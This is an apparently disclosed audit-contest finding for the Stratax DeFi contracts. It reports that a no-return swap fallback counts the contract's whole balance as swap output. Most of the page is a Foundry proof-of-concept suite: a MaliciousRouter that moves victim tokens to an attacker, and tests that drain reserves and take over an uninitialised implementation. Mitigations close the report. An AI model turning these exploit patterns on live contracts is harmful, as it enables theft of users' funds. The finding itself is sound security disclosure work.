Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: medium

No-Return Swap Fallback Uses Total Balance (Not Swap Delta), Allowing Reserve Drain

Author Revealed upon completion

Root + Impact

Description

  • In Stratax.sol (line 612)"), _call1InchSwap() executes a low-level router call.
    If return data is empty, it sets returnAmount to IERC20(_asset).balanceOf(address(this)) at Stratax.sol (line 625)"), which is the entire balance, not the swap output delta. Then open-position logic trusts this value in repayment checks at Stratax.sol (line 522)") and leftover supply flow at Stratax.sol (line 529)").

  • As a result, a malicious router can transfer out borrowed tokens and return no data, while the contract uses pre-existing reserves to repay flashloan obligations.

Risk

Likelihood:

  • The attack requires attacker-controlled swap calldata (for example via compromised quote backend/frontend/integration). Once submitted, the exploit path is deterministic.


Impact:

  • A malicious swap payload can steal borrowed tokens, while the protocol still passes flashloan repayment checks using stale/incorrect balance accounting. This can drain existing reserves held by the Stratax contract.


Proof of Concept

source /Users/user/.zshenv
cd /Users/user/tools/web3/2026-02-stratax-contracts
forge test --match-path "/Users/user/tools/web3/2026-02-stratax-contracts/test/unit/StrataxSecurity.t.sol" --match-test test_PoC_NoReturnSwapUsesWholeBalanceAndDrainsReserve -vvv
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {Stratax} from "../../src/Stratax.sol";
import {IPool} from "../../src/interfaces/external/IPool.sol";
contract MockERC20 {
string public name;
string public symbol;
uint8 public immutable decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
require(allowed >= amount, "ALLOWANCE");
allowance[from][msg.sender] = allowed - amount;
_transfer(from, to, amount);
return true;
}
function mint(address to, uint256 amount) external {
totalSupply += amount;
balanceOf[to] += amount;
}
function _transfer(address from, address to, uint256 amount) internal {
require(balanceOf[from] >= amount, "BALANCE");
balanceOf[from] -= amount;
balanceOf[to] += amount;
}
}
interface IFlashLoanReceiver {
function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata params)
external
returns (bool);
}
contract MockPool is IPool {
uint128 public premiumBps = 9;
mapping(address => mapping(address => uint256)) public supplied;
mapping(address => mapping(address => uint256)) public borrowed;
mapping(address => uint256) public totalSupplied;
mapping(address => uint256) public totalBorrowed;
function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128) {
return premiumBps;
}
function flashLoanSimple(address receiverAddress, address asset, uint256 amount, bytes calldata params, uint16)
external
{
MockERC20(asset).mint(receiverAddress, amount);
uint256 premium = (amount * premiumBps) / 10_000;
bool ok = IFlashLoanReceiver(receiverAddress).executeOperation(asset, amount, premium, msg.sender, params);
require(ok, "CALLBACK_FAIL");
MockERC20(asset).transferFrom(receiverAddress, address(this), amount + premium);
}
function supply(address asset, uint256 amount, address onBehalfOf, uint16) external {
MockERC20(asset).transferFrom(msg.sender, address(this), amount);
supplied[onBehalfOf][asset] += amount;
totalSupplied[onBehalfOf] += amount;
}
function borrow(address asset, uint256 amount, uint256, uint16, address onBehalfOf) external {
borrowed[onBehalfOf][asset] += amount;
totalBorrowed[onBehalfOf] += amount;
MockERC20(asset).mint(msg.sender, amount);
}
function repay(address asset, uint256 amount, uint256, address onBehalfOf) external returns (uint256) {
uint256 debt = borrowed[onBehalfOf][asset];
uint256 repaid = amount > debt ? debt : amount;
borrowed[onBehalfOf][asset] = debt - repaid;
totalBorrowed[onBehalfOf] -= repaid;
MockERC20(asset).transferFrom(msg.sender, address(this), repaid);
return repaid;
}
function withdraw(address asset, uint256 amount, address to) external returns (uint256) {
uint256 bal = supplied[msg.sender][asset];
uint256 withdrawn = amount > bal ? bal : amount;
supplied[msg.sender][asset] = bal - withdrawn;
totalSupplied[msg.sender] -= withdrawn;
MockERC20(asset).transfer(to, withdrawn);
return withdrawn;
}
function getUserAccountData(address user)
external
view
returns (
uint256 totalCollateralBase,
uint256 totalDebtBase,
uint256 availableBorrowsBase,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
)
{
uint256 collateral = totalSupplied[user];
uint256 debt = totalBorrowed[user];
totalCollateralBase = collateral;
totalDebtBase = debt;
availableBorrowsBase = 0;
currentLiquidationThreshold = 9000;
ltv = 8000;
healthFactor = debt == 0 ? type(uint256).max : (collateral * 3e18) / debt;
}
}
contract MockDataProvider {
address public variableDebtToken;
constructor(address _variableDebtToken) {
variableDebtToken = _variableDebtToken;
}
function getReserveConfigurationData(address)
external
pure
returns (
uint256 decimals,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
uint256 reserveFactor,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive,
bool isFrozen
)
{
return (18, 8000, 9000, 0, 0, true, true, false, true, false);
}
function getReserveTokensAddresses(address) external view returns (address, address, address) {
return (address(0), address(0), variableDebtToken);
}
}
contract MockOracle {
mapping(address => uint256) public prices;
function setPrice(address token, uint256 price) external {
prices[token] = price;
}
function getPrice(address token) external view returns (uint256) {
uint256 price = prices[token];
require(price > 0, "NO_PRICE");
return price;
}
}
contract MaliciousRouter {
function stealAndLie(address token, address victim, address thief, uint256 amount, uint256 fakeReturnAmount)
external
returns (uint256 returnAmount, uint256 spentAmount)
{
MockERC20(token).transferFrom(victim, thief, amount);
return (fakeReturnAmount, amount);
}
function stealNoReturn(address token, address victim, address thief, uint256 amount) external {
MockERC20(token).transferFrom(victim, thief, amount);
}
}
contract StrataxSecurityTest is Test {
Stratax internal stratax;
MockPool internal pool;
MockDataProvider internal dataProvider;
MaliciousRouter internal maliciousRouter;
MockOracle internal oracle;
MockERC20 internal collateral;
MockERC20 internal debt;
MockERC20 internal variableDebt;
address internal ownerTrader = address(0x1234);
address internal attacker = address(0xBEEF);
function setUp() public {
collateral = new MockERC20("Collateral", "COL", 18);
debt = new MockERC20("Debt", "DEBT", 18);
variableDebt = new MockERC20("VariableDebt", "vDEBT", 18);
pool = new MockPool();
dataProvider = new MockDataProvider(address(variableDebt));
maliciousRouter = new MaliciousRouter();
oracle = new MockOracle();
stratax = new Stratax();
stratax.initialize(address(pool), address(dataProvider), address(maliciousRouter), address(collateral), address(oracle));
stratax.transferOwnership(ownerTrader);
}
function test_PoC_MaliciousSwapDataCanDrainContractReserve() public {
uint256 flashLoanAmount = 100e18;
uint256 collateralAmount = 100e18;
uint256 borrowAmount = 50e18;
uint256 reserveBuffer = 200e18;
uint256 premium = (flashLoanAmount * pool.premiumBps()) / 10_000;
collateral.mint(ownerTrader, collateralAmount);
collateral.mint(address(stratax), reserveBuffer);
bytes memory maliciousSwapData = abi.encodeWithSelector(
MaliciousRouter.stealAndLie.selector,
address(debt),
address(stratax),
attacker,
borrowAmount,
flashLoanAmount + premium
);
vm.startPrank(ownerTrader);
collateral.approve(address(stratax), collateralAmount);
stratax.createLeveragedPosition(
address(collateral),
flashLoanAmount,
collateralAmount,
address(debt),
borrowAmount,
maliciousSwapData,
flashLoanAmount + premium
);
vm.stopPrank();
assertEq(debt.balanceOf(attacker), borrowAmount, "attacker should receive all borrowed debt tokens");
assertEq(
collateral.balanceOf(address(stratax)),
reserveBuffer - flashLoanAmount - premium,
"contract reserve should be consumed to repay flash loan"
);
}
function test_PoC_NoReturnSwapUsesWholeBalanceAndDrainsReserve() public {
uint256 flashLoanAmount = 100e18;
uint256 collateralAmount = 100e18;
uint256 borrowAmount = 50e18;
uint256 collateralReserve = 200e18;
uint256 borrowReserve = 200e18;
uint256 premium = (flashLoanAmount * pool.premiumBps()) / 10_000;
collateral.mint(ownerTrader, collateralAmount);
collateral.mint(address(stratax), collateralReserve);
debt.mint(address(stratax), borrowReserve);
bytes memory maliciousSwapData = abi.encodeWithSelector(
MaliciousRouter.stealNoReturn.selector, address(debt), address(stratax), attacker, borrowAmount
);
vm.startPrank(ownerTrader);
collateral.approve(address(stratax), collateralAmount);
stratax.createLeveragedPosition(
address(collateral),
flashLoanAmount,
collateralAmount,
address(debt),
borrowAmount,
maliciousSwapData,
flashLoanAmount + premium
);
vm.stopPrank();
assertEq(debt.balanceOf(attacker), borrowAmount, "attacker should receive borrowed debt tokens");
assertEq(
collateral.balanceOf(address(stratax)),
0,
"collateral reserve should be fully consumed because returnAmount uses total balance, not swap delta"
);
}
function test_PoC_ImplementationCanBeInitializedByAnyone() public {
Stratax implementation = new Stratax();
MockERC20 strayToken = new MockERC20("Stray", "STR", 18);
uint256 strayAmount = 10e18;
strayToken.mint(address(implementation), strayAmount);
vm.prank(attacker);
implementation.initialize(address(pool), address(dataProvider), address(maliciousRouter), address(collateral), address(oracle));
assertEq(implementation.owner(), attacker, "attacker should become implementation owner");
vm.prank(attacker);
implementation.recoverTokens(address(strayToken), strayAmount);
assertEq(strayToken.balanceOf(attacker), strayAmount, "attacker should drain tokens from implementation");
}
}

Recommended Mitigation

  1. Replace total-balance fallback with strict pre/post balance-delta accounting for swap output.

  2. In open flow, pass/validate the correct output token and use actualReceived (delta) for flashloan repayment checks.

  3. Validate swap calldata intent (selector/receiver/token direction) before execution.

  4. Use minimal approvals and reset allowance to zero after swap.

  5. Add regression tests to ensure empty-return swap payloads cannot bypass repayment logic.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!